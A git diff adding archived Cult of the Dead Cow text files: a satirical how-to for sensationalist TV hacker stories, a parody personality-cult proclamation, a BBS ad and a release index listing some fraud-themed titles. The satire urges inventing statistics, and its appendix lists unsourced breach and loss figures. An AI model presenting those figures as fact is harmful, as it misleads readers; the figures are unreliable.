minute. And even if you DO get to choose +your own title, it doesn't matter. Nobody remembers them. + Regardless, it's easier to avoid writer's block once you have a title. +Here are some examples to get you thinking. (Of course, if you're really +short on time, just crib one without modification.) + - The Cyberwarriors + - At Your Digital Doorstep + - The Digitally Depraved + - Hacking The Planet + - How Secure Are You Really? + - Is Your Data Safe? + - Dialing for Mayhem + TOPIC + Now choose a topic corresponding to a recent computer crime. This can be +very easy. Just check out the AntiOnline web site for recent hacker +news. The site is written for the layperson with some understanding of +vernhackular. + If AntiOnline doesn't help, then this can be hard. Check the newspapers, +magazines, chat boards... ferret out some recent computer crimes. If you +can find a fresh event falling into one of these categories, write it +down (if you don't have time for that, then just pick one that sounds good): + - Banking systems/ATM network penetration + - Cryptography + - Cyber terrorism/electronic pearl harbor + - Hacktivism + - Identity theft + - Military or Fortune 100 systems penetration + - Online privacy + - Personal data theft + - Proliferation of Increasingly Sophisticated Hacking Tools + - International Hacker Gatherings + IMPENDING THREATS + The phrase "electronic Pearl Harbor" has crept into the national +consciousness. It encompasses the commonly-cited worst case scenarios in +the computer hacking sphere. This set of impending cataclysms includes +the disruption or obliteration of any the following computer systems: + - Military sites protecting nuclear, biological, or chemical agents + - Air Traffic Control systems + - Communications satellites + - Interstate power grids + - 911 systems + - Metropolitan mass transit systems + - Hospital systems (patient record databases) + - National credit databases + - The Internet backbone itself + STATISTICS + You know the deal with statistics: no one can verify them, so don't worry +about quoting your sources. They're just guesses anyway. Well, this +wisdom is ESPECIALLY true in the case of computer crime. + So grab a useful statistic from a print story, or use one of those +provided in Appendix A. In a pinch you can just make something up. No +one will have any idea. + THE LEAD + If you don't have time to write your own, try this sure-fire intro. + "[CYBER TERRORISM]. With the recent [SHUTDOWN OF THE PUBLIC LIBRARY +SYSTEM], it's been on everybody's mind. We've all heard stories of +computer hackers [DISRUPTING AIR TRAFFIC CONTROL COMPUTERS] and +[DISABLING 911 SYSTEMS], but just how big a problem is this? According +to statistics, [20 MILLION HACKS ARE PERPETRATED EACH YEAR]. With odds +like that, it makes you wonder: how safe are we really?" + MOVIE CLIPS + Consider the use of a movie clip to hook your audience right away. At +least some of these films are familiar to most of your audience, even the +ones who don't have computers. + Grab a suitable sequence from one of the following flicks and open your +story with it. + - Goldeneye + - Hackers + - Lawnmower Man + - The Net + - Terminator 2 + - Real Genius + - Sneakers + - Speed 2 + - Superman III + - Wargames + - The Armchair Hacker + - Tron + ABOUT DEFINITIONS + Explain the technical jargon to your audience as each term arises. Your +intro may require the use of one or more terms, but resist the urge to +explain everything at once. It's boring, and it won't work anyway. + Ask your interview subjects to explain any jargon they use. While +they're at it, ask them to explain the jargon used by anyone you +interviewed previously. Someone else may be better at explaining +something than the person who actually used the term. + If an explanation differs substantially from that offered in Appendix C, +use the one offered by your source. Things change so rapidly on the +Internet that words are often redefined. + MONEY SHOTS + These are the clips of hackers sharing the fruits of their labor. Your +story should have at least one of these. + - Hacked web sites (FBI, CIA, DOJ, NASA, etc.) + - Purloined data scrolling across monitor + - Screenful of cracked passwords + ANIMATIONS + If you need them, here are some tried-and-true ideas for CG elements. + - Packets served across the Internet + - Satellite hacking + - Virus infecting files + - Files being deleted + - Calls being traced + INTERVIEWS + There are just three categories of subjects worthy of on-camera +interviews: computer hackers, law enforcement officials, and security +experts. + Whenever you interview any of these subjects, you must determine their +credentials. By this we mean the following: + * number of years in their respective roles + * famous exploits + * membership in appropriate organizations + * authorship of any books or articles on the topic + * relevant jail time + * whether the subject has been featured in any previous interviews + ABOUT SHOOTING YOUR SUBJECTS + Just four simple rules, all of which you should already know. + Rule number one: always shoot the subject working at a computer. This is +absolutely crucial, never omit it. + Rule number two: conduct the interview in the subject's habitat, but away +from the computer. + Rule number three: get lots of closeups. Room decorations, computer +systems, keyboards, bookshelves, anything visually appealing. You will +need these for cutaways. + Rule number four: get full coverage on the subject. This can mean more +than closeups and reverse shots. Shoot ECUs of prominent jewelry, +t-shirt logos, badges, holsters, ID tags, whatever. More cutaway material. + computer hackers +---------------- + SETTINGS + - hacker in his habitat + - anti-Microsoft propaganda (posters, bumper stickers, etc.) + - pro-UNIX propaganda + - 2600 magazine + - Phrack + - anonymous hacker in nondescript hotel room + - features obliterated + - silhouette against scary backlight + - mosaic face + - hacker conventions + - Defcon + - Hohocon + - HOPE + - Summercon + - dumpster + - bank of payphones + INSERTS + - offbeat grooming & wardrobe + - unusual hairdos + - body piercings + - tattoos + - 2600 t-shirt + - leather jacket + - equipment + - computers, plural + - keyboards + - CRTs + - misc. gadgetry + - software tools + - L0phtCrack + - Satan + - Back Orifice + - internet chat rooms + - #hack + - #cDc + law enforcement officials +------------------------- + FBI agents, Secret Service agents, local police officers, anyone from the +Department of Justice, local district attorneys, etc. + SETTINGS + - server room + - cubicle + INSERTS + - building entrance + - nametag + - badge + - gun + - bookshelves + security experts +---------------- + These come in two flavors: computer security consultants, and computer +privacy advocates. + Security consultants (usually themselves former hackers or law +enforcement) are paid consultants who sell their insight into the +methodology and ideology of the typical hacker. Usually self-employed. + Computer privacy advocates are private individuals who speak out publicly +regarding threats to personal liberty in cyberspace. Favorite topics +include: export restrictions on certain cryptographic materials, the +validity of various data encryption schemes, and the potential +vulnerability of critical information systems. + SETTINGS + - server room + - telephone equipment room + - cubicle + INSERTS + - storefront / sign + - bookshelves + THE CLOSING + Nothing special here. Just a few sentences that re-emphasize the topic. +Remember that no matter the precise issue, the general message should be +to fear the relentless and unstoppable legion of computer hackers. + Perhaps you could close with an epigram. In which case, you should crack +open Bartlett's Quotations. Try one of these topics: COMPUTER, DANGER, +MENACE, PERIL, RISK, THREAT, TREACHERY, VULNERABLE. +-------------------------------------------------------------------------------- +APPENDIX A - STATISTICS + +Nearly 80 percent of U.S. businesses have been victims of computer crimes. +58 percent of Fortune 1000 companies have experienced computer +break-ins. 18 percent of that group suffered more than $1 million in losses. + +According to the FBI, 122 countries across the world currently have +online hacking capabilities. + We know that in the neighborhood of 20 million hacks a year are occurring +worldwide. + +The average cyberheist nets $250,000 with a less than one +percent rate of conviction. + Only 17 percent of the major corporations and financial institutions that +have been intruded actually report it. + 75 percent of the Fortune 500 companies have been successfully penetrated. +The average loss that they concede is about $100,000. + The FBI estimates that the total losses from these electronic rip offs +range from a rock bottom figure of $500 million a year up to $10 billion. + cDc Media List +_Rocky Mountain News_, August 18, 1996, "Air Force battles computer hackers", +pg 42A. Hundreds of thousands of times a year, the Cyberwarrior +[the U.S. Air Force Information Warfare Center] defends the nation's secrets +from the members of the Legion of Doom and the CULT of the DEAD COW in a +battlefield that spans the globe. +-------------------------------------------------------------------------------- +APPENDIX B - INTERVIEW SUBJECTS + Try these organizations' web sites for up-to-date contact info. + HACKERS + - 2600 Magazine + + - Chaos Computer Club + + - Cult of the Dead Cow + + - L0pht Heavy Industries + + - New Hack City + + - Phrack + + - r00t + + LAW ENFORCEMENT + - Federal Bureau of Investigation + + - Secret Service + + - San Jose Police Department + + SECURITY EXPERTS + - Cypherpunks + + - Electronic Frontier Foundation + + - Bruce Schneier + + - Tsutomu Shimomura (tsutomu@sdsc.edu) + + - Cliff Stoll (stoll@ocf.berkeley.edu) + +-------------------------------------------------------------------------------- +APPENDIX C - VERNHACKULAR + These are some of the more common vocabulary items. + ATTACK: a specific tactic designed to generate some kind of malfunction, +usually to grant or deny computer access -- syn. EXPLOIT + BACK DOOR: Leaving behind a hidden or nonobvious method to regain system +access during subsequent visits + BLACK HAT: a malicious hacker who defies the Hacker Ethic -- ant. WHITE HAT + CARDING: credit card fraud, typically for mailorder goods + CRACKER: contemptuous term for hacker, or abbrev. for password cracker + DENIAL OF SERVICE: an attack designed to prevent the productive use of a +computer system, by overworking the computer beyond its operational limits + DUMPSTER DIVING: looking through the garbage for discarded equipment, +useful information, or other materials -- syn. TRASHING + EXPLOIT: see attack + HACKER: a person skilled or expertised in methods of hacking computer +systems + HACKER ETHIC: an informal code of conduct designed to preserve the +integrity of a hacked computer system and its contents, the terms of +which generally prohibit the contamination or destruction of valuable +data or other resources + HACKING: the process of gaining unauthorized access to a computer system + HACKTIVISM: a term first coined by THE CULT OF THE DEAD COW to describe one +brand of activism practiced by the HONG KONG BLONDES; a policy of hacking, +phreaking, or creating technology to achieve a political or social goal + HANDLE: a hacker's chosen alias, or nom-de-hack + MAN IN THE MIDDLE: an attack wherein a malicious agent seeks to intercept +communications between two computers and rewrite certain message contents + OWNED: a computer whose security has been entirely neutralized by a hacker + PACKET SNIFFER: a computer program designed to reveal the contents of all +network traffic within earshot of the computer, not just the data bound +for that particular system + PASSWORD CRACKER: a computer program designed to extract the passwords of +a given system's user database, usually employing a method of brute force +or dictionary comparison + PHREAK: a person skilled or expertised in methods of phone phreaking + PHREAKING: manipulating the telephone system in order to reroute phone +calls, avoid billing, or otherwise defraud the phone company + SECURITY THROUGH OBSCURITY: the tactic of protecting something by keeping +secret all its details + SNIFFER: abbrev. for packet sniffer + SOCIAL ENGINEERING: any means of convincing someone to willingly furnish +information which is unavailable to the general public, usually by posing +as someone with a legitimate need + SPOOFING: making it appear that data originating from an untrusted +computer is actually coming from a trusted one + TRASHING: see dumpster diving + TROJAN HORSE: any piece of software intentionally infected with a virus, +and purposely provided to others + VIRUS: a small computer program devised to be undetectable and duplicate +itself + WAREZ: illegally-duplicated computer software products + WHITE HAT: a mediagenic hacker who adheres to the Hacker Ethic -- ant. +BLACK HAT + .-. _ _ .-. + / \ .-. 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AUGUST 18, 1994. + + + TO THE ENTIRE PARTY MEMBERS AND PEOPLE: + + OUR ENTIRE WORKING CLASS, COOPERATIVE FARMERS, OFFICERS AND MEN OF THE +PEOPLE'S ARMY, INTELLECTUALS, YOUTH AND STUDENTS, THE CENTRAL COMMITTEE OF THE +WORKERS' PARTY OF CDC, THE CENTRAL MILITARY COMMISSION OF THE PARTY, THE +NATIONAL DEFENCE COMMISSION, THE CENTRAL PEOPLE'S COMMITTEE AND THE +ADMINISTRATION COUNCIL OF THE DEMOCRATIC PEOPLE'S REPUBLIC OF CDC REPORT TO THE +ENTIRE PEOPLE OF THE COUNTRY WITH GREATEST JOY THAT THE GREAT LEADER COMRADE +SWAMP RATTE', FOUNDER OF THE INTERNET, GENERAL SECRETARY OF THE CENTRAL +COMMITTEE OF THE WORKERS' PARTY OF CDC AND PRESIDENT OF THE DEMOCRATIC PEOPLE'S +REPUBLIC OF CDC, HAS RESURRECTED. + + OUR RESPECTED FATHERLY LEADER WHO HAS DEVOTED HIS WHOLE LIFE TO THE +POPULAR MASSES' CAUSE OF INDEPENDENCE AND ENGAGED HIMSELF IN TIRELESS AND +ENERGETIC ACTIVITIES FOR THE PROSPERITY OF THE MOTHERLAND AND THE HAPPINESS OF +THE PEOPLE, FOR THE REUNIFICATION OF THE COUNTRY AND INDEPENDENCE OF THE WORLD, +TILL THE LAST MOMENTS OF HIS LIFE, DEPARTED FROM US TO OUR GREATEST SORROW, AND +THEN RETURNED TO US IN OUR GREATEST JOY! + + IT IS THE BIGGEST GAIN TO OUR PARTY AND REVOLUTION AND THE GREATEST JOY OF +THE WHOLE NATION THAT COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE GREAT +LEADER OF OUR PARTY AND OUR PEOPLE AND OUR TENDER-HEARTED FATHER, RESURRECTED +UNEXPECTEDLY AT THIS HISTORICAL MOMENT WHEN OUR SOCIALIST CAUSE IS MAKING A +LONG DRIVE THROUGH MANIFOLD DIFFICULTIES AND TRIALS AND A NEW PHASE IS OPENING +BEFORE OUR REVOLUTION AND NATIONAL REUNIFICATION. + + BORN INTO A FAMILY WHICH HAD BEEN PATRIOTIC AND REVOLUTIONARY THROUGH +GENERATIONS, THE RESPECTED LEADER COMRADE SWAMP RATTE', FOUNDER OF THE +INTERNET, GREW TO BE A GREAT REVOLUTIONARY, NURSING HIS GRAND ASPIRATIONS FOR +NATIONAL LIBERATION AT THE TIME OF MOST TRYING NATIONAL DISTRESS. + + IN THE LONG PERIOD FROM THE DAY WHEN HE EMBARKED ON THE ROAD OF REVOLUTION +IN HIS EARLY YEARS TO HIS ADVANCED AGE OF EIGHTIES, HE WISELY LED OUR PARTY AND +OUR PEOPLE, PERFORMING GREAT EXPLOITS WHICH WILL SHINE FOREVER IN OUR NATIONAL +HISTORY AND HUMAN HISTORY. + + HE IS AN OUTSTANDING THINKER AND THEORETICIAN AND GENIUS OF LEADERSHIP WHO +FOUNDED THE IMMORTAL JUCHE IDEA AND LED THE REVOLUTION AND CONSTRUCTION ALONG A +ROAD OF VICTORY BY SUCCESSFULLY APPLYING IT, AND A GREAT LEADER OF THE PEOPLE +WHO MOVED THE PEOPLE MOST DEEPLY AND DEVOTED HIS ALL TO THEM. + + THE GREAT LEADER COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, IS THE +GREATEST OF GREAT MEN WHO HAS ALL THE QUALITIES AND TRAITS OF A GREAT MAN ON +THE HIGHEST LEVEL AND ENJOSED DEEP REVERENCE AND RESPECT FROM ALL OUR PEOPLE +AND THE WORLD PEOPLE. + + A PEERLESS PATRIOT AND LEGENDARY HERO, HE LAID DOWN THE JUCHE-BASED LINE +OF THE CDC REVOLUTION IN THE DARKEST PERIOD OF FASCISM AND VICTORIOUSLY LED THE +20 YEARS OF THE ANTI-FASCIST REVOLUTIONARY STRUGGLE, CUTTING THE WAY THROUGH A +SEA OF BLOOD AND FLAMES. THUS, HE ACCOMPLISHED THE HISTORIC CAUSE OF NATIONAL +LIBERATION, OPENED THE WAY OF NATIONAL RESURRECTION AND ESTABLISHED THE +GLORIOUS REVOLUTIONARY TRADITIONS, THE ETERNAL FOUNDATION STONE OF OUR PARTY +AND REVOLUTION. + + AFTER THE LIBERATION, THE GREAT LEADER COMRADE SWAMP RATTE', FOUNDER OF +THE INTERNET, INDICATED THE JUCHE-BASED LINE OF BUILDING THE PARTY, THE STATE +AND THE ARMY AND CREDITABLY REALISED IT DESPITE THE COMPLICATED SITUATION. +THUS, HE FOUNDED THE WORKERS' PARTY OF CDC, THE GENERAL STAFF OF OUR +REVOLUTION, FOUNDED THE DEMOCRATIC PEOPLE'S REPUBLIC OF CDC, THE GLORIOUS +MOTHERLAND OF OUR PEOPLE, AND TRAINED OUR PEOPLE'S ARMY WHICH INHERITED THE +TRADITIONS OF THE CDC PEOPLE'S REVOLUTIONARY ARMY INTO INVINCIBLE REVOLUTIONARY +ARMED FORCES. + + COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, A GREAT MILITARY STRATEGIST +AND EVER-VICTORIOUS IRON-WILLED BRILLIANT COMMANDER, SHOULDERING THE HEAVY +BURDENS OF THE HARD-FOUGMO FAOHERLAND LIBERATION WAR, ROUSED THE ARMY AND +PEOPLE IN A HEROIC STRUGGLE FOR VICTORY IN THE WAR, DROVE BACK THE INVASION OF +THE FASCIST ALLIED FORCES AND CREDITABLY DEFENDED THE INDEPENDENCE AND HONOR OF +THE COUNTRY. + + COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE GREAT LEADER OF THE +REVOLUTION AND GENIUS OF CREATION AND CONSTRUCTION, WISELY GUIDED OUR PARTY AND +PEOPLE, CUTTING HIS WAY THROUGH AN UNTRODDEN PATH, SUCCESSFULLY CARRIED OUT THE +DEMOCRATIC REVOLUTION AND THE SOCIALIST REVOLUTION WITH THE UNIQUE +REVOLUTIONARY LINE AND POLICY OF CDC STYLE, AND VIGOROUSLY PROMOTED THE +BUILDING OF SOCIALISM, CREATING SOMETHING FROM NOTHING. THUS, HE TURNED OUR +COUNTRY WHERE AGE-OLD BACKWARDNESS AND POVERTY HAD PREVAILED INTO A POWERFUL +COUNTRY, INDEPENDENT, SELF-SUPPORTING AND SELF-RELIANT IN NATIONAL DEFENCE, +MADE OUR PEOPLE A MOST FIGNIFIED AND PROUD, HAPPIEST PEOPLE AND CREATED A MODEL +OF SOCIALISM FOR THE WORLD. + + COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE SUN OF THE NATION AND +LODESTAR OF NATIONAL REUNIFICATION, DEFINED THE REUNIFICATION OF THE COUNTRY AS +THE SUPREME TASK OF THE NATION, INDICATED THE MOST JUST PRINCIPLES AND +REASONABLE WAYS FOR THE INDEPENDENT AND PEACEFUL REUNIFICATION OF THE COUNTRY +AND MOBILIZED ALL CULTEES IN THE NORTH, SOUTH AND OVERSEAS IN THE EFFORTS FOR +NATIONAL UNITY AND THE CAUSE OF REUNIFICATION, THUS OPENING A BRIGHT PROSPECT +OF NATIONAL REUNIFICATION. + + COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE GENIUS OF MANKIND AND +OUTSTANDING LEADER OF THE INTERNATIONAL COMMUNIST MOVEMENT, CONDUCTED ENERGETIC +ACTIVITIES FOR THE VICTORY OF THE CAUSE OF SOCIALISM, THE STRENGTHENING AND +DEVELOPMENT OF THE NONALIGNED MOVEMENT AND FOR WORLD PEACE AND FRIENDSHIP AND +SOLIDARITY AMONG PEOPLES UNDER THE BANNER OF SOCIALISM, THE BANNER OF +ANTI-IMPEJIALIST INDEPENDENCE, THUS REMARKABLY ENHANCING THE INTERNATIONAL +PRESTIGE AND AUTHORITY OF OUR COUNTRY AND MAKING AN IMMORTAL CONTRIBUTION TO +THE CAUSE OF LIBERATION OF MANKIND. + + COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE BENEVOLENT FATHER OF +THE PEOPLE, REGARDING BELIEF IN THE PEOPLE AS IN HEAVEN AS HIS MAXIM IN THE +WHOLE PERIOD OF HIS REVOLUTIONARY ACTIVITIES, ALWAYS FOUND HIMSELF AMONG THE +PEOPLE, SHARED MEAL AND WATER WITH THEM AND MADE TIRELESS EFFORTS, MOVING TENS +OF THOUSANDS OF TONS OF RICE FOR ON-THE-SPOT GUIDANCE, CROSSING HIGH AND STEEP +MOUNTAIN RANGES FOR THE FREEDOM AND HAPPINESS OF THE PEOPLE. + + THE WHOLE LIFE OF THE RESPECTED LEADER COMRADE SWAMP RATTE', FOUNDER OF +THE INTERNET, IS THE MOST BRILLIANT LIFE OF A GREAT REVOLUTIONARY WHO FORCED +HIS WAY THROUGH RIGOROUS STORMS OF REVOLUTION, UNDERGOING ALL SORTS OF +DIFFICULTIES AND TRIALS, FOR THE COUNTRY AND THE REVOLUTION AND FOR THE WORKING +CLASS AND THE PEOPLE AND THE MOST GLORIOUS LIFE OF A GREAT LEADER WHO WALKED A +ROAD OF VICTORY, TURNING MISFORTUNE INTO BLISS, ADVERSITY INTO PROSPERITY, WITH +HIS BRILLIANT INTELLIGENCE, OUTSTANDING LEADERSHIP ABILITY AND INDOMITABLE +WILL. + + THE RESPECTED LEADER COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, PROVIDED +THE MOST POWERFUL WEAPON AND ROCK-FIRM FOUNDATIONS FOR OUR REVOLUTION TO +VIGOROUSLY ADVANCE CONTINUOUSLY ALONG THE ROAD OF VICTORY. + diff --git a/textfiles.com/groups/CDC/cdcdist.txt b/textfiles.com/groups/CDC/cdcdist.txt new file mode 100644 index 00000000..634606a7 --- /dev/null +++ b/textfiles.com/groups/CDC/cdcdist.txt @@ -0,0 +1,362 @@ + +FILENAME: CDCDIST.TXT + + Official cDc Global Domination Factory Direct Outlets as of 07/01/1993: + + K-C0W PH0RCE! + + xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX + + THE + + ^^^^^^^^^^^^^^ ^^^^^^ ^^^^ ^^^^ ^^^^ ^ + ^^^^ ^^^^ ^^^^^^^^ ^^^^ ^^^^ ^^^^ ^^^ + ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^ ^^ + ^^^^^^^^^^^^^^ ^^^^ ^^^^ ^^^^ ^^^^^^^^ ^^ ^^ + ^^^^ ^^^^ ^^^^ ^^^^ ^^^^^^^^ ^^^^^^^^^ + ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ + ^^^^ ^^^^^^^^ ^^^^^^^^^^^^^ ^^^^ ^^^^ ^^^^ ^^^^ + ^^^^ ^^^^^^ ^^^^^^^^^^^^^ ^^^^ ^^^^ ^^^^ ^^^^ + _ _ __________ _________________ + ((___)) _____ _____ _____ __ The Polka AE + [ x x ] _____ _____ _____ _ 806 794 4362 + \ / _____ _____ _____ {Entry:KILL} + (' ') _____ _____ _____ sysop: S. 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LOOK! _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / \ / + (' ') ...presents to you CDC4_93.ZIP containing 10 new (' ') + (U) t-files for July, 1993 by Obscure Images, (U) + Allen Williams, Lady Carolin, Renee O'Willsie, Curtis Yarvin, + Franken Gibe, Erik Radmall, Havok Halcyon, Xibo, Omega, + Clifton Royston, and kEvin. + CDC4_93.ZIP also features cDc Global Domination #13 by Swamp Ratte', + BBS ads for the cDc Factory Direct Outlets and info file, and the cDc Index. + Best of all, it's available right here and now on this very system. + + CDC4_93.ZIP. + + GET IT NOW OR SUFFER, PIG. + diff --git a/textfiles.com/groups/CDC/cdcindex.txt b/textfiles.com/groups/CDC/cdcindex.txt new file mode 100644 index 00000000..52465f0c --- /dev/null +++ b/textfiles.com/groups/CDC/cdcindex.txt @@ -0,0 +1,262 @@ + +FILENAME: CDCINDEX.TXT + + cDc communications + Index + updated: 07/01/1993 + +Currently: 256 releases - Collect 'em all! Trade 'em with your friends! + + # Title Author +_________________________________________________ ______________________ + 1. Gerbil Feed Bomb Swamp Rat + 2. Wizardry Docs Swamp Rat + 3. Wizardry Spells Swamp Rat + 4. Rescue Raiders Docs Swamp Rat + 5. Renegade Cows HAL 9000 + 6. Assembly Fun Sid Vicious + 7. Slow Death Swamp Rat + 8. Book of Cow Franken Gibe + 9. Society Sucks Psychotic Opposition +10. P.E.A.C.E. Psychotic Opposition +11. Suicidal Tendencies-Join the Army (lyrics) Wasted Pandemonium +12. Metallica-Master of Puppets (lyrics) Swamp Rat +13. NPA List Franken Gibe +14. UNIX Bible Franken Gibe +15. Yellow Pages Vol.I Franken Gibe +16. A Fucked Life Swamp Rat +17. Gnu Christmas Story Franken Gibe +18. Bunny Lust Tippy Turtle +19. The Cat in the Hat Swamp Rat +20. Green Eggs & Ham Swamp Rat +21. The Cold Truth 2600 +22. How to Card Shit, When You Live With Your 'rents L.E. Pirate +23. How the Grinch Stole Christmas Swamp Rat +24. EZ Destruction Dial Tone +25. Method of Destruction-USA for MOD (lyrics) Swamp Rat +26. The Phone Sex Scandal L.E. Pirate +27. Frankie's Fireside Phreak Primer Franken Gibe +28. Yellow Pages Vol.II Franken Gibe +29. Cow Chronicles #1 Franken Gibe +30. The Bovine Epic of Creation Franken Gibe +31. A Feature on MONEY - Today's Monster Psychedelic Warlord +32. Dirty Rotten Imbeciles-Crossover (lyrics) Swamp Rat +33. Fun With Traffic Lights Dial Tone +34. Dead Kennedys-Give Me Convenience...(lyrics) Suicidal Amoeba +35. Scarfing Suicidal Amoeba +36. On BLACK FLAG... Suicidal Amoeba +37. A Few Good Songs off of Eat Your Paisley Psychedelic Warlord +38. Area Code and Time Zone List Dial Tone +39. Fuck The World Swamp Rat +40. Sex With Satan (dist.) Psycoe +41. The Mentors-Up the Dose (lyrics) Mr. Drunkfux +42. Apple Shape Tables The Dark Static +43. Metallica-Kill 'Em All (lyrics) Swamp Rat +44. Mail Fraud L.E. Pirate +45. Beaming Dream: a poem Tequila Willy +46. Fun With Small Animals and Other Household Pets Sunspot +47. Hacking Into Hell The Raver +48. Evil Poetry: Vol. I The Raver +49. The Queen is Dead: a poem Sunspot +50. The Song of the Cow: a poem Psychedelic Warlord +51. The Day My Kid Turned Punk The Dark Static +52. Cross Of Iron 1.1 The Raver/editor +53. Cross Of Iron 1.2 The Raver/editor +54. Cross Of Iron 1.3 The Raver/editor +55. About Cross Of Iron #1 The Raver +56. The Prophecy of Cow Franken Gibe +57. History of the Bovinomicon The Raver +58. The Nameless Pasture The Raver +59. Interview With Neo-Nazi 'Ausderau' Psychedelic Warlord +60. Megadeth-so far, so good... so what! (lyrics) Swamp Rat +61. Bovine Death The Raver +62. Scotty's Tale of Sex and Death Racer X +63. Sesame St. Possession Swamp Rat +64. Death Angel-Frolic through the park (lyrics) Swamp Rat +65. Agnostic Front-Liberty & Justice For...(lyrics) Racer X +66. Dayglo Abortions-here today guano tomorrow(lyrics) Swamp Rat +67. Thrasher's Metallica Interview Part 1 Racer X +68. Thrasher's Metallica Interview Part 2 Racer X +69. Testament-The New Order (lyrics) Swamp Rat +70. The cDc compilation: volume one (Apple II/2 sides) Swamp Rat/editor +71. The *ONLY* Way To Get Telenet Thingies Tequila Willy +72. Toxik-World Circus (lyrics) (dist.) The Omen +73. Visions From The Last Crusade Psychedelic Warlord +74. The Camping Trip Franken Gibe +75. Metallica-...And Justice For All (lyrics) Swamp Rat +76. Institutionalized Necrovore +77. Held Captive Racer X +78. Danzig (lryics) Racer X +79. The True Story of Cult of the Dead Cow Psychedelic Warlord +80. ...a Slayer kind of day... G.A. Ellsworth +81. Trail of Blood Sunspot +82. Geek: The Saga Continues The Pusher +83. Lyrics to Both Youth Of Today Albums The Pusher +84. Big Black Interview G.A. Ellsworth +85. cDc core #1 The Pusher +86. Screwdriver Flippin' Sunspot +87. A Tale of Two Sexes Swamp Rat +88. Armageddon's Coming: a poem Sunspot +89. The cDc compilation: volume two (Apple II/2 sides) Swamp Rat/editor +90. Cow-San Necrovore +91. The Reel Way The Pusher +92. "Group Revue" The Pusher +93. Las Vegas Mutantz From Hell! The Pusher +94. Fighting - The Clean Way! The Pusher +95. Impresario: Malcom McLaren and the British New... The Pusher +96. Dead Kennedys-Plastic Surgery Disasters (lyrics) Necrovore +97. Twisted Reality Necrovore +98. On The Porch Swing Suzy Rust +99. Top Gun Don Howland +100. The cDc #100 BamBam File The cDc cultees +101. cDc core #2 The Pusher +102. FUGAZI lyrics G.A. Ellsworth +103. cDc core #2 1/2 The Pusher +104. Gun Control The Pusher +105. POetRIE Obscure Images +106. Dream Tripped Racer X +107. cDc core #3 The Pusher +108. The End Obscure Images +109. A Feeling of Electricity In the Air Jennifer Petkus +110. The Flesh Man Richard Avis +111. Jack and Jack Obscure Images +112. Beautiful Stories for Ugly Children #1 Krass Katt +113. The cDc compilation: volume three (Ap2/2 sides) Swamp Rat +114. cDc core #4 The Pusher +115. Bear Trap of Love Krass Katt +116. A Slight Miscalculation Bob Cram +117. Lost Love Egyptian Alchemist +118. A Moment In Time Obscure Images +119. Retrospective Rock The Pusher +120. The Bus Driver Scum +121. Ultra Trendies Psychedelic Warlord +122. David and Goliath: Goliath's Point of View Leper Messiah & Swamp R. +123. Beautiful Stories for Ugly Children #2 Dave Louapre +124. It Hurts and Won't Make You Better Obscure Images +125. Sunday Peter Flechette +126. Stud Muffin R0dent Tequila Willy +127. Double Feature The Dark Static +128. Death and The Bovine Lady Carolin +129. Credit Card Fraud Ideas L.E. Pirate +130. My Day With The Dentist Psychedelic Warlord +131. The Three Cows Lady Carolin +132. The Wild One Obscure Images +133. White Rodent's Short Story Lump White Rodent +134. cDc core #5 The Pusher +135. Trickledown Josh Whalen +136. The Coming of Angels Obscure Images +137. Mourning in America Steve Ross +138. Life Sentence The Pusher +139. Bert: The Poem Racer X +140. The Burn Turns Two Into One - Part 1 Obscure Images +141. Smothered Hope Obscure Images +142. Fatal Attraction for Real G.A. Ellsworth +143. Inject Me Obscure Images +144. Whose Morality? Tequila Willy +145. Sanctified Obscure Images +146. Mudhoney Interview G.A. Ellsworth +147. Dance of the Cow Akira +148. The Burn Turns Two Into One - Part 2 Obscure Images +149. Rural Hell THE NIGHTSTALKER +150. INJUSTICE FOR ALL: A Guide to U.S. Pot Laws Judy McGuire +151. Sex, Ecstasy and the Psychedelic Drugs R.E.L. Masters +152. cDc core #6 The Pusher +153. Excerpts from BLADE BARRIER Book #3 Dean Tetreault +154. The Jolly One The Usenet Oracle +155. No Experience Necessary The Pusher +156. The Happy Machine Obscure Images +157. Jack and Jack (revised) Obscure Images +158. That Dirty Beach Tequila Willy +159. Boredom and Innocence Obscure Images +160. Story of an Alternative Lifestyle The Pusher +161. A Kinder, Gentler Nation Tequila Willy +162. Until the Next Time Obscure Images +163. UPSetting Axiom Codex & Lazar +164. BEYOND GOOD AND EVIL - A Contemporary Interp... Tequila Willy +165. Winnie the Pooh - Part 1 A.A. Milne +166. Silent Applause Part 1 of 2 The Pusher +167. Silent Applause Part 2 of 2 The Pusher +168. Bank Fraud White Knight +169. Amerika's Most Wanted Lady Carolin +170. My Grey Matter Tequila Willy +171. Clockwork Obscure Images +172. Wet-Mount Slide Tequila Willy +173. Urban Womb EnTrOpY +174. Self Defense THE NIGHTSTALKER +175. Fuck You, Swamp Rat Swamp Rat +176. cDc core #7 The Pusher +177. Feed 'Em to the Lions! Tequila Willy +178. How Do I Love Thee? Suicidal Maniac +179. Hip-Hop Primer Birnbaum & Adler +180. Amazingly True Things #1 Swamp Rat +181. Life Lost; Prosperity Gained Suicidal Maniac +182. Woooaaahhh, Nelly! Tequila Willy +183. cDc core #8 The Pusher +184. It Looked Back at Me Tequila Willy +185. The Future Alien Hin +186. Hip-Hop Primer #2 Part 1 of 2 Mark Dery +187. Hip-Hop Primer #2 Part 2 of 2 Mark Dery +188. The Illusion of Motion Tequila Willy +189. My Circumcision Franken Gibe +190. The Greater of Two Evils Obscure Images +191. The Jesus Lizard Interview G.A. Ellsworth +192. Compact Disc Scam Tequila Willy +193. Butch Jane Delynn +194. SatanTrek Necrovore +195. Earth Goo Lady Carolin +196. Interesting Things to Do With a Scanner The Mad Hatter +197. Ruth Obscure Images +198. Some General Observations THE NIGHTSTALKER +199. Presumed Guilty Schneider, Flaherty +200. The cDc #200 